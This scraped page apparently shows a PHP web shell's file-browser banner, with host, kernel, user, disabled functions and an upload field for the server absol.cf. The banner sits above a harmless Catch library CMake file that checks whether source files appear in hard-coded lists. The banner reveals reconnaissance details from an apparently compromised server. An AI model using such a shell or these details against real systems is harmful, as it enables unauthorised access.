![]() System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /usr/local/lib/node_modules/mediasoup/worker/deps/catch/CMake/ |
Upload File : |
#checks that the given hard-coded list contains all headers + sources in the given folder function(CheckFileList LIST_VAR FOLDER) set(MESSAGE " should be added to the variable ${LIST_VAR}") set(MESSAGE "${MESSAGE} in ${CMAKE_CURRENT_LIST_FILE}\n") file(GLOB GLOBBED_LIST "${FOLDER}/*.cpp" "${FOLDER}/*.hpp" "${FOLDER}/*.h") list(REMOVE_ITEM GLOBBED_LIST ${${LIST_VAR}}) foreach(EXTRA_ITEM ${GLOBBED_LIST}) string(REPLACE "${CATCH_DIR}/" "" RELATIVE_FILE_NAME "${EXTRA_ITEM}") message(AUTHOR_WARNING "The file \"${RELATIVE_FILE_NAME}\"${MESSAGE}") endforeach() endfunction() function(CheckFileListRec LIST_VAR FOLDER) set(MESSAGE " should be added to the variable ${LIST_VAR}") set(MESSAGE "${MESSAGE} in ${CMAKE_CURRENT_LIST_FILE}\n") file(GLOB_RECURSE GLOBBED_LIST "${FOLDER}/*.cpp" "${FOLDER}/*.hpp" "${FOLDER}/*.h") list(REMOVE_ITEM GLOBBED_LIST ${${LIST_VAR}}) foreach(EXTRA_ITEM ${GLOBBED_LIST}) string(REPLACE "${CATCH_DIR}/" "" RELATIVE_FILE_NAME "${EXTRA_ITEM}") message(AUTHOR_WARNING "The file \"${RELATIVE_FILE_NAME}\"${MESSAGE}") endforeach() endfunction()